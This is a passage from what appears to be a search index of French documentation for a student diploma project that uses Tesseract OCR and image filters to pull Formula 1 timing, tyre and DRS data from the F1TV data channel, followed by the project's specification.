Treshhold de 165 car avec moins le texte parfois prend trop du background et avec plus les lettres sont trop fines. \"Texte apr\u00e8s Treshold\" 3 : Je fais un Resize de l'image pour avoir une meilleure r\u00e9solution et permettre une meilleure d\u00e9tection. J'augmente la hauteur et la largeur par un facteur 2. J'ai trouv\u00e9 cette valeur suffisante et aller plus haut consomme beaucoup de ressources. \"Texte apr\u00e8s Resize\" 4: Je fais une tr\u00e8s rapide Dilatation du texte pour retirer le flou amen\u00e9 par la methode de Resize. Je n'utilise qu'une valeur de 1 car je ne veux pas trop changer comment le texte est model\u00e9 je veux juste retirer le flou. \"Texte apr\u00e8s Dilatation\" Explication des methodes pr\u00e9cises plus bas Voila pour ce qui est du post processing. Je ne dis pas que ce sont les meilleurs param\u00eatres possibles mais dans mes tests ce sont ceux qui ont le mieux march\u00e9s. C'est aussi les premi\u00e8res methodes que j'ai pu d\u00e9velopper alors forc\u00e9ment elles n'ont pas le niveau de d\u00e9tails de certaines autres. Mais comme m\u00eame avec ce traitement il n'est pas rare que je me retrouve avec une ou deux lettres pas justes, il faut un moyen d'\u00eatre s\u00fbr que c'est le bon nom qui est trouv\u00e9. Ce qu'il y a de pratique avec les noms de pilotes c'est que on sait d\u00e9ja comment ils s'appellent avant le Grand Prix. En effet dans le fichier de configuration de la reconnaissance, il y a une liste de noms de pilotes. Cela veut dire que au lieu de chercher \u00e0 trouver parfaitement les bonnes lettres, on peut simplement essayer de trouver quel nom de pilote ressemble le plus au nom trouv\u00e9 sur l'image. Pour ce faire j'ai utilis\u00e9 une methode appel\u00e9e la distance de Levenshtein. Pour faire simple c'est une methode qui va calculer les distances de lettres pour determiner entre des strings laquelle ressemble le plus \u00e0 une autre. Pour r\u00e9sumer le fonctionnement dans lordre : On prend l'image on la traite On envoie l'image trait\u00e9e \u00e0 Tesseract On trouve quel nom de pilote ressemble le plus \u00e0 ce r\u00e9sultat On renvoie le nom du pilote","title":"Texte"},{"location":"index.html#chiffres","text":"Cette methode en r\u00e9alit\u00e9 utilise simplement la m\u00eame methode que celle qui va r\u00e9cup\u00e8rer le texte sur une image. Cependant, la, on envoie \u00e0 Tesseract l'information qu'il ne peut trouver que des chiffres sur l'image ce qui lui permet d'\u00eatre beaucoup plus pr\u00e9cis et de ne pas confondre un 9 avec un P ou un 11 avec un H PAR EXEMPLE (non pas que ca me soit arriv\u00e9 tr\u00e8s r\u00e9guli\u00e8rement et que ca me soit rest\u00e9 dans la gorge \u00e9videmment) L'avantage c'est que cette methode ne demande m\u00eame pas de traitement de la donn\u00e9e en sortie de Tesseract. On \u00e9sp\u00e8re simplement que le post traitement aura suffit. TEMPS : Cette methode regroupe la d\u00e9tection de temps au tour. Il y a trois grands types de WINDOW qui sont concern\u00e9es : La WINDOW du temps au tour La WINDOW du retard sur le leader La WINDOW des secteurs La grande diff\u00e9rence ce sont les ordres de grandeur. Les temps au tour sont en g\u00e9n\u00e9ral entre 50 secondes et 2 minutes. Tandis que les secteurs sont entre 20 et 30 secondes alors que le retard sur le leader peut-\u00eatre de plusieurs minutes. Cependant, tous ces temps poss\u00e8dent le m\u00eame type de post-traitement avant d'\u00eatre envoy\u00e9s \u00e0 Tesseract. Voici un exemple de temps au tour avant toute transformation : \"Temps au tour avant traitement\" On peut avoir l'impression que ce texte est tout \u00e0 fait lisible et facile \u00e0 d\u00e9coder surtout quand on le voit de loin comme ca. Cependant, il faut imaginer que ces chiffres font 13 pixels de haut en comptant le flou et comme expliqu\u00e9 plus haut ce flou dans ces echelles est terrible. \"Temps au tour zoom\u00e9\" Si on donne cette image \u00e0 Tesseract, les '3' deviennent des '9', des '9' deviennent des '8', des '2' deviennent eux aussi des '9', le tout parfois inversement et de mani\u00e8re compl\u00eatement impr\u00e9visible. Ca n'est simplement pas utilisable. Cette partie est un peu plus complexe car si la detection n'est pas fiable les chiffres sont simplement inutilisables. Si \u00e0 tout moment un temps au tour de 1:39.106 devient 1:32.108 c'est juste pas possible. Voici donc les \u00e9tapes de post-traitement que j'ai mis en place pour leur d\u00e9tection : 1: J'applique un Treshold de 185 pour enlever les ambiguit\u00e9s d'alisaising et avoir une image en noir et blanc claire. La valeur de 185 est assez \u00e9lev\u00e9e car le but est de vraiment garder uniquement les contours. Comme les chiffres se ressemlent beaucoup plu que les lettres, il faut tenter le plus possible de conserver leur formes sp\u00e9cifiques. Je me suis rendu compte que cette valeur \u00e9tait une de celles qui marchent le mieux. \"Temps au tour apr\u00e8s Treshold\" 2: J'applique un Resize de 2 pour augmenter la r\u00e9solution des chiffres et permettre une meilleure d\u00e9tection. Le but est d'avoir plus de pixels et donc de permettre \u00e0 Tesseract de mieux utiliser ses matrices de convolution. \"Temps au tour apr\u00e8s Resize\" 3: Comme le Resize am\u00e8ne du flou, j'utilise une methode de Dilatation qui me permet de retirer ce flou et de remplir un peu plus certaines parties qui ont \u00e9t\u00e9 un peu laiss\u00e9e par le Resize ; \"Temps au tour apr\u00e8s Dilatation\" 4: Contrairement aux mots plus haut, la rondeur ajout\u00e9e par la dilatation n'est pas vraiment d\u00e9sir\u00e9e. En effet, elle peut rendre confuse certains chiffres et emp\u00eacher Tesseract de bien trouver le chiffre. Alors j'applique une Erosion qui me permet de contrecarrer en partie les rondeurs ajout\u00e9es par la dilatation et retrouver des chiffres bien form\u00e9es. Pour l' Erosion et la Dilatation j'ai utilis\u00e9 une valeur de 1 car je ne voulais pas trop changer les chiffres. \"Temps au tour apr\u00e8s Erosion\" Explication des methodes pr\u00e9cises plus bas Et avec ce post processing on retrouve de plut\u00f4ts bon r\u00e9sultats qui demandent peu de traitement. Le traitement d\u00e9pend du type de WINDOW cependant. Pour les secteurs on indique \u00e0 Tesseract que les caract\u00e8res autoris\u00e9s sont : \"0123456789.\" Pour les temps au tour on autorise plut\u00f4t \"0123456789.:\" Et pour les \u00e9carts on autorise \"0123456789.+\" Ensuite on r\u00e9cup\u00e8re une liste de chiffres qui'il va falloir transformer en milisecondes pour faciliter le stockage et l'envoi. Le programme nettoie un peu la chaine avant de la convertir. Par exemple parfois le ':' de 1:34.456 est compris comme un '1' ou un '2' et il faut faire attention \u00e0 detecter quand ca arriver. Je passe les d\u00e9tails du reste du nettoyage car c'est vraiment du cas par cas mais quand on a finit de nettoyer la chaine on peut transformer les chaines de minutes secondes et milisecondes en un total de milisecondes. Pour r\u00e9sumer le fonctionnement dans l'ordre : On prend l'image et on lui applique une s\u00e9rie de filtres On envoie l'image filtr\u00e9e \u00e0 Tesseract On nettoie le r\u00e9sultat Tesseract pour compenser certains biais On convertis le r\u00e9sultat en milisecondes","title":"Chiffres"},{"location":"index.html#pneus","text":"La on arrive sur la partie la plus p\u00e9nible. Pour comprendre la probl\u00e9matique il faut d'abord faire un petit point sur comment les pneus fonctionnent en Formule 1. Depuis 2019 en Formule 1 nous avons 5 grandes familles de pneus : Les pneus tendres Les pneus medium Les pneus durs Les pneus interm\u00e9diaires Les pneus pluie \"Gamme de pneus Pirelli\" Les trois premiers pneus sont des pneus faits pour piste s\u00e8che, le pneu interm\u00e9diaire pour piste humide et le neu pluie pour la pluie. Chaque pneu a sa dur\u00e9e de vie et son niveau de performance propre mais je ne vais pas rentrer dans le d\u00e9tail ici. Tout ce qu'il faut savoir ce que savoir sur quel pneu chaque pilote est et depuis combien de temps il les chausse est une information tr\u00e8s importante. Chaque pneu a une couleur donn\u00e9e qui permet de les diff\u00e9rencier. Voici un exemple de ce \u00e0 quoi une WINDOW de pneus peut ressembler : \"Exemple zone pneus 1\" Mais cette zone peut aussi ressembler \u00e0 ca : \"Exemple zone pneus 2\" Mais aussi \u00e0 ca : \"Exemple zone pneus 3\" Voire m\u00eame ca : \"Exemple zone pneus 4\" Je pense que vous pouvez tout de suite comprendre la difficult\u00e9 que repr\u00e9sente la t\u00e2che de r\u00e9cup\u00e8ration de donn\u00e9es \u00e0 partir de cette image. En gros le fonctionnement de cette zone d'information est assez simple. Au fur et \u00e0 mesure que la course avance, le trait fait de m\u00eame. Le chiffre dans le round tout \u00e0 droite indique le nombre de tour que le pilote a pass\u00e9 sur ce pneu. La couleur indique le type de pneu. Si il y a une lettre \u00e0 la place d'un chiffre c'est que c'est le premier tour sur ce pneu. La lettre indique le type de pneu. Et pas besoin de dire que si on essaie simplement de donner l'image \u00e0 Tesseract on ne r\u00e9cup\u00e8re ni les chiffres ni les lettres correctement si ce n'est pas du tout. Il faut donc utiliser une methode qui permette d'isoler le rond le plus \u00e0 droite, lui appliquer un traitement qui permette \u00e0 Tesseract de lire ce qu'il y a marqu\u00e9 et qui puisse determiner quel pneu est en train d'\u00eatre utilis\u00e9. J'ai d\u00e9cid\u00e9 de m'occuper dans un premier temps de trouver ce rond avant d'appliquer les filtres car plus l'image est petite plus les filtres sont rapides. Le programme va tirer un trait depuis le bord droit de la zone, et il va avancer vers la gauche jusqu'\u00e0 trouver un obstacle. Je d\u00e9tecte un obstacle si le pixel sur lequel est mon trait poss\u00e8de une valeur de plus de 0x50 dans le channel R,G ou B. J'ai trouv\u00e9 en faisant des tests que les couleurs de background de la F1TV ne d\u00e9passaient jamais ces valeurs. Ensuite apr\u00e8s avoir trouv\u00e9 le premier obstacle, je r\u00e9cup\u00e8re une zone qui doit englober le cercle. Voici un exemple avec cette image en entr\u00e9e : \"Zone compl\u00eate\" Elle est automatiquement coup\u00e9e de cette facon : \"Zone coup\u00e9e automatiquement\" Cela me permet d'isoler uniquement ce qui m'int\u00e9resse ce qui est tr\u00e8s pratique pour Tesseract et pour la detection de couleur. Ensuite avec cette image je peux commencer le processus de reconnaissance. Je commence par faire une moyenne de tous les pixels de l'image en excluant les pixels trop sombres qui font s\u00fbrement partie du background ou du chiffre. Ensuite j'utilise une methode qui calcule la diff\u00e9rence entre la couleur obbtenue et la liste de couleurs possible. Il y a cinq couleurs des pneus possibles : \"#ff0000\" pneu tendre/soft \"Couleur d'un pneu tendre\" \"#f5bf00\" pneu medium \"Couleur d'un pneu medium\" \"#a4a5a8\" pneu dur/hard \"Couleur d'un pneu dur\" \"#00a42e\" pneu inter \"Couleur d'un pneu interm\u00e9diaire\" \"#2760a6\" pneu pluie/wet \"Couleur d'un pneu pluie\" Ce qui est pratique c'est que m\u00eame dans les cas ou il n'y a pas beaucoup de couleur comme celui la : \"Pneu dur avec 0 tours\" On arrive \u00e0 une couleur moyenne de : \"Couleur moyenne de l'image ci dessus apr\u00e8s soustraction du background\" Et il est donc assez facile de determiner le type de pneu en question. Attention, les r\u00e9sultats peuvent \u00eatre tr\u00e8s vite d\u00e9rang\u00e9s par la couleur du pneu pr\u00e9c\u00e9dent si le d\u00e9coupage de la fen\u00eatre n'a pas \u00e9t\u00e9 assez pr\u00e9cis. Ensuite il \"suffit\" de lire le chiffre dans le rond et si on arrive pas \u00e0 le lire alors c'est que c'est une lettre et on sait que le nombre de tours est donc de 0. Maintenant vient le moment tr\u00e8s sympatique de la lecture du chiffre. Vous saurez que Tesseract en plus de detester les grandes images et les images avec des couleurs, deteste \u00e9galement les formes dans une image. Donc dans notre cas, le round de couleur autour du chiffre, m\u00eame si il n'est pas complet, il interf\u00e8re avec la reconnaissance et emp\u00eache de bien lire le chiffre. Il faut donc retirer le background et ensuite la couleur. Sauf que comme le chiffre est de la couleur du background, si on retire le background et ensuite la couleur il ne reste plus rien. Il faut donc retirer le background AUTOUR du rond, et ensuite si on retire la couleur il devrait rester le chiffre sur fond blanc. Pour se faire, j'ai tir\u00e9 des traits depuis les bords de l'image jusqu'\u00e0 ce qu'ils rencontrent le rond. Ensuite je retire tous les pixels entre le rond et les bords de l'image ce qui nous donne ceci : \"Zone pneu avec le background en moins\" Ensuite on peu retirer les pixels qui ont une valeur dans un channel RGB plus haute qu'un certain seuil : \"Zone avec le reste des couleurs supprimm\u00e9es\" Et la on a ce que l'on veut ! A partir de la c'est les filtres que l'on connait qui sont utilis\u00e9s pour en faire une image plus facile \u00e0 utiliser par Tesseract. 1 : On effectue un Resize de facteur 4 (oui c'est beaucoup mais en m\u00eame temps le chiffre est vraiment petit \u00e0 la base) qui permet d'avoir une image d'une bien meilleure r\u00e9solution. \"Filtre 1\" 2: On fait une Dilatation de facteur 1 pour retirer tout le flou de l'image pour aider Tesseract \"Resultat\" Et on a un chiffre qui est utilisable par Tesseract ! Explication des methodes pr\u00e9cises plus bas Pour r\u00e9sumer : On prend l'image de la zone et on la crop pour ne garder que la partie essentielle On d\u00e9termine le type de pneu avec la couleur moyenne de la zone On retire le background autour de cette zone On retire la couleur qui reste pour ne garder que le chiffre On augmente la r\u00e9solution du chiffre On rend ce chiffre net On envoie l'image trait\u00e9e et filtr\u00e9e \u00e0 Tesseract On d\u00e9termine le nombre de tours que le pilote a fait avec ses pneus avec le r\u00e9sultat de Tesseract","title":"Pneus"},{"location":"index.html#drs","text":"Bon ca c'\u00e9tait plut\u00f4t simple j'ai simplement v\u00e9rifi\u00e9 si la moyenne de vert d\u00e9passait une certaine valeur et puis voila.","title":"DRS"},{"location":"index.html#filtres-et-methodes-sur-les-images","text":"Dans ce projet on a du utiliser diff\u00e9rentes methodes d'\u00e9dition d'image que ce soit sous forme de filtres ou de modification de l'image directement. Voici un sommaire des methodes utilis\u00e9es et comment elles fonctionnent. Tresholding Cette methode sert \u00e0 passer d'une image en couleurs \u00e0 une image binaire noir blanc. C'est une \u00e9tape tr\u00e8s importante pour l'OCR car elle permet (si bien faite) d'isoler du texte de son background. Un exemple ici : \"Exemple treshold\" Le fonctionnement est assez simple mais il peut \u00eatre fait de diff\u00e9rentes mani\u00e8res mais dans mon cas voici comment l'algorythme fonctionne sachant qu'il demande en entr\u00e9e la Bitmap que l'on veut modifier ainsi que la valeur de Treshold : On parcours chaque pixel de l'image On convertir la couleur du pixel en une valeur de gris pour avoir la m\u00eame valeur en R,G et B (Formule utilis\u00e9e : grey = R x 0.3 + G x 0.59 + B x 0.11) Si le r\u00e9sultat de la valeur de gris est au dessus de la valeur de treshold, le pixel est pass\u00e9 en blanc complet et dans le cas contraire il est pass\u00e9 en noir complet On retourne la Bitmap modifi\u00e9e Un algorythme pas forc\u00e9ment complexe mais qui peut augmenter de mani\u00e8re titanesque les chances de r\u00e9ussir une OCR Resize Cette methode sert \u00e0 augmenter la r\u00e9solution d'une image pour am\u00e9liorer la pr\u00e9cision de l'algorythme de Tesseract. En effet, avec trop peu de pixels, la matrice de convolution n'est pas toujours aussi efficace. Il ne faut pas confondre cette methode d'augmentation de la taille avec une simple interpolation. En effet une augmentation de taille interpol\u00e9e ne vas pas vraiment changer la r\u00e9solution, l'image sera toujours aussi pixelis\u00e9e, seulement, les pixels seront compos\u00e9es de plus de pixels comme dans l'exemple ci dessous : \"Exemple d'interpolation lin\u00e9aire\" Dans mon projet j'utilise de l'interpolation bicubique qui va cr\u00e9er de l'information pour tenter de combler le vide et produire une image r\u00e9ellement plus grande et avec plus de details mais en ajoutant du flou. \"Exemple des diff\u00e9rents types d'interpolation\" Le but est d'aller chercher dans les pixels alentours les couleurs qui sont d\u00e9ja pr\u00e9sente et de jouer avec des poids pour tenter de faire une pr\u00e9diction de ce que ce pixel aurait \u00e9t\u00e9 si l'image avait plus de detail. Voici un exemple assez parlant : \"Exemple interpolation bicubique (avant)\" \"Exemple interpolation bicubique (apr\u00e8s)\" On pourrait croire que c'est inutile mais dans le contexte de Tesseract ajouter des d\u00e9tails pour tenter de simuler une meilleure r\u00e9solution m\u00eame en cr\u00e9ant du flou est int\u00e9ressant pour mieux remplir la matrice de convolution. Mais il est possible de r\u00e9duire ce flou avec d'autres m\u00e9thodes \u00e9galement. (Dans mon code je n'ai pas utilis\u00e9 du code fait main mais j'utilise une librairie qui me permet de le faire) Il faut simplement faire attention car c'est un proc\u00e9d\u00e9 assez lourd en performances. Dilatation et Erosion Cette methode et la suivante font partie des methodes de transformation morphologiques. Ces methodes sont utilis\u00e9es pour accentuer les formes et les epaissir ou les r\u00e9duire et les affiner. Elles poss\u00e8dent l'aventage \u00e9galement de retirer le flou d'une image ce qui est tr\u00e8s pratique si utilis\u00e9 apr\u00e8s l'utilisation de methodes comme Resize . Je ne vais pas trop rentrer dans les d\u00e9tails de ces methodes car leur fonctionnement est un peu plus lourd en math si on veut faire une v\u00e9ritable explication du pourquoi et du comment ca marche aussi bien. Pour notre projet je dirais que l'important est de savoir que ce sont deux outils tr\u00e8s pratiques pour changer la morphologie des lettres et des chiffres et qu'on peut les utiliser pour corriger du flou et/ou des art\u00e9facts apparus lors de la binarisation de l'image ou de la suppression de fond. Remove Background Cette methode est assez simple et est juste une methode qui va passer en revue tous les pixels de l'image et si la couleur d'un pixel s'apparente \u00e0 celle d'un pixel de fond il est pass\u00e9 en noir total ou en blanc total. Le but est de permettre au reste du programme de fonctionner avec des couleurs moins ambigues. Une variante sp\u00e9cialis\u00e9e pour la reconnaissance des pneus appel\u00e9e affectueusement Remove Useless cherche \u00e0 atteindre le m\u00eame bu mais est bien plus soffistiqu\u00e9e et sp\u00e9cialis\u00e9e pour retirer le background autour d'un cercle de couleur pour ensuite retirer la couleur et qu'il ne reste qu'un chiffre. Pour plus de details voir la detection de pneus. Il y aussi d'autre methodes comme un filtre Gaussien ou Highlight countour que j'ai du d\u00e9velopper mais que je n'ai pas utilis\u00e9 donc je ne vais pas en parler ici.","title":"Filtres et methodes sur les images"},{"location":"index.html#interpretation-des-donnees","text":"","title":"Interpr\u00e9tation des donn\u00e9es"},{"location":"index.html#stockage-des-donnees","text":"","title":"Stockage des donn\u00e9es"},{"location":"index.html#affichage-des-donnees","text":"","title":"Affichage des donn\u00e9es"},{"location":"index.html#predictions","text":"","title":"Pr\u00e9dictions"},{"location":"index.html#tests","text":"[A remplir au fur et \u00e0 mesure de la cr\u00e9ation des tests]","title":"Tests"},{"location":"index.html#resume-des-difficultes-techniques","text":"[A remplir au fur et \u00e0 mesure dans la seconde moiti\u00e9 du travail de dipl\u00f4me]","title":"R\u00e9sum\u00e9 des difficult\u00e9s techniques"},{"location":"index.html#optimisation-du-programme","text":"[A remplir \u00e0 la fin du projet pour parler des diff\u00e9rentes methodes d'optimisation]","title":"Optimisation du programme"},{"location":"index.html#ethique-du-projet","text":"[A remplir \u00e0 la fin du projet pour parler des questions ethiques du projet (Ex: Utilisation potentiellement abusive de la F1Tv ou L'histoire des cookies)]","title":"Ethique du projet"},{"location":"index.html#ameliorations-futures","text":"[A remplir dans les derni\u00e8res semaines du travail de dipl\u00f4me]","title":"Am\u00e9liorations futures"},{"location":"index.html#conclusion","text":"[A remplir la derni\u00e8re semaine du travail de dipl\u00f4me]","title":"Conclusion"},{"location":"CahierDesCharges.html","text":"Cahier des charges Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023 Contexte Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion. Projet Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand Maintenant afficher diff\u00e9remment les infos, c'est sympa, mais cela serait encore mieux de traiter ces data et de permettre des petites pr\u00e9dictions. Exemples : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents R\u00e9alisation Malheureusement, la Formula 1 Management ne propose aucune API publique qui puisse nous permettre de faire ce projet \"simplement\". La raison la plus probable \u00e9tant qu'Amazon avec son service AWS propose exactement ce genre de services pour le flux t\u00e9l\u00e9vis\u00e9 et il doit y avoir un contrat d'exclusivit\u00e9. Il existe des API \"Pirates\" faites par la communaut\u00e9, le probl\u00e8me est qu'elles ne sont pas forc\u00e9ment des plus pratiques \u00e0 utiliser. Mais comme je poss\u00e8de un abonnement premium ++ \u00e0 la F1TV, j'ai acc\u00e8s pour chaque grand prix \u00e0 un flux vid\u00e9o nomm\u00e9 : DATA F1 CHANNEL Qui ressemble \u00e0 \u00e7a : \"Data channel exemple\" Donc la seule fa\u00e7on que je vois de r\u00e9cup\u00e9rer ces donn\u00e9es est de les prendre directement sur ce feed. M\u00eame si le but final de l'application est de faire pleins de choses super avec les datas, le gros du projet va surtout \u00eatre la r\u00e9cup\u00e9ration des donn\u00e9es et leur stockage. Les donn\u00e9es viennent du flux vid\u00e9o et ainsi dans un premier temps, il va falloir r\u00e9cup\u00e9rer d'une mani\u00e8re ou d'une autre des images qui viennent d'un grand prix en direct ou en rediffusion. Ensuite, dans un second temps, il faut lire les informations directement sur l'image en utilisant une librairie pr\u00e9vue pour (exemple Tesseract) et v\u00e9rifier l'int\u00e9grit\u00e9 de ces derni\u00e8res pour qu'on puisse ensuite les stocker. Dans un troisi\u00e8me temps, il faut stocker toutes ces donn\u00e9es dans une forme qui permette d'aller facilement faire des requ\u00eates de r\u00e9cup\u00e9ration et d\u00e9j\u00e0 pr\u00e9parer des m\u00e9thodes qui permettent de r\u00e9cup\u00e9rer des infos importantes (ex : la moyenne des cinq derniers tours, le temps moyen d'arr\u00eat etc.) pour faciliter la derni\u00e8re \u00e9tape Quand tout cela est fait, on peut ensuite s'amuser un peu avec les Data. La derni\u00e8re \u00e9tape est donc l'affichage. L'id\u00e9e est de cr\u00e9er une Windows Form qui contienne toutes ces informations dans un format beaucoup plus lisible et avec laquelle on pourrait interagir pour permettre de plus facilement commenter les Grands Prix. (exemple plus bas avec un croquis de ce \u00e0 quoi l'application pourrait ressembler) Voici la liste des donn\u00e9es qui pourraient \u00eatre affich\u00e9es (Non contractuel, simplement des id\u00e9es). Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement pond\u00e9r\u00e9 tenant compte des futurs arr\u00eats au stand La moyenne de temps que les pilotes perdent dans les stands La performance moyenne des 5 types de pneus La moyenne de temps de chaque pilote sur le pneu actuel Le nombre de points que chaque pilote gagnerait selon sa position Le classement de la course Voire m\u00eame si c'est possible : Pr\u00e9dire les arr\u00eats aux stands en prenant en compte les baisses de performances des pneus Pr\u00e9dire le pneu que le pilote va chausser s'il rentre aux stands dans le prochain tour Pr\u00e9dire dans combien de tour tel pilote va rattraper tel autre pilote Pr\u00e9dire combien de temps le pilote va perdre dans les stands en fonctions des arr\u00eats pr\u00e9c\u00e9dents Pr\u00e9dire les temps au tour de chaque pilote selon l'usure des pneus Voici un exemple d'interface possible pour une page : \"Proto\" Cas d'utilisation *On va consid\u00e9rer que tous les user ont un abonnement F1 TV PRO Un user veut r\u00e9cup\u00e9rer les data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes Difficult\u00e9s techniques R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Cahier des charges"},{"location":"CahierDesCharges.html#cahier-des-charges","text":"Cahier des charges \"Track Trends\" Travail de dipl\u00f4me Maxime Rohmer 2023","title":"Cahier des charges"},{"location":"CahierDesCharges.html#contexte","text":"Je suis le \"Live Ticker\" charg\u00e9 de la Formule 1 pour le 20 minutes. On peut traduire cela comme commentateur de F1, avec tout de m\u00eame l'importante subtilit\u00e9 que je ne commente pas avec la voix, mais avec le clavier. Mes commentaires sont sous la forme de commentaires \u00e9crits live qui s'ajoutent au fur et \u00e0 mesure de l'\u00e9v\u00e8nement. Par exemple : \"Tour 28/54, Hamilton a fini par s'arr\u00eater et chausser des gommes tendres 13 tours apr\u00e8s Verstappen. L'Anglais va voir plus de 15 secondes \u00e0 rattraper, mais les gommes neuves et plus tendres que son rival devraient lui permettre s'il ne se fait pas trop ralentir par le trafic\". En g\u00e9n\u00e9ral avec un peu plus d'infos quand m\u00eame et cela tous les 3-4 tours Voici quelques exemples de pr\u00e9c\u00e9dents commentaires (Conseil : il y a un bouton pour montrer le feed dans l'ordre chronologique) : \"Commentaire Grand Prix de Belgique 2022\" \"Commentaire du Grand Prix de Singapour 2022\" \"Exemple commentaires\" Pendant un Grand Prix, je dois constamment : \u00c9crire ce qu'il se passe dans le grand prix et expliquer les enjeux Chercher r\u00e9guli\u00e8rement des m\u00e9dias \u00e0 inclure pour diversifier mon live (Tweets, Images etc.) Changer le titre et la description du live en fonction de l'\u00e9volution du Grand prix Et accessoirement regarder le grand prix pour y comprendre quelque chose Avec tout \u00e7a, il est tr\u00e8s difficile de garder un \u0153il sur la page DATA de la F1TV qui fournit pourtant des informations pr\u00e9cieuses. Je me retrouve parfois par exemple \u00e0 ne pas parler de d\u00e9passements dans le peloton, car ils ne sont pas retransmis \u00e0 la t\u00e9l\u00e9 alors que c'est une information importante. Autre exemple, occasionnellement le classement ne refl\u00e8te pas les vraies positions des pilotes. Les arr\u00eats aux stands font que du coup des pilotes qui devraient \u00eatre 15\u00e8mes se retrouvent 8\u1d49 puisqu'ils ne sont pas encore arr\u00eat\u00e9s. Cela peut de temps en temps pr\u00eater \u00e0 confusion.","title":"Contexte"},{"location":"CahierDesCharges.html#projet","text":"Un outil de style compagnon sous forme d'application C# Windows Form qui r\u00e9cup\u00e8re en temps r\u00e9el les informations de la course et affiche les informations les plus importantes. Le but est non seulement de faciliter mon job, mais aussi faire en sorte d'am\u00e9liorer la plus-value de mon travail en me permettant de fournir des commentaires qui ne sont pas disponibles pour le tout venant qui regarde simplement le flux RTS. Exemples: Les pilotes qui sont proches (moins de 1-2 secondes qui sont donc en train de se battre). Les pilotes qui am\u00e9liorent leur temps au tour et ceux qui perdent le plus de temps Le classement 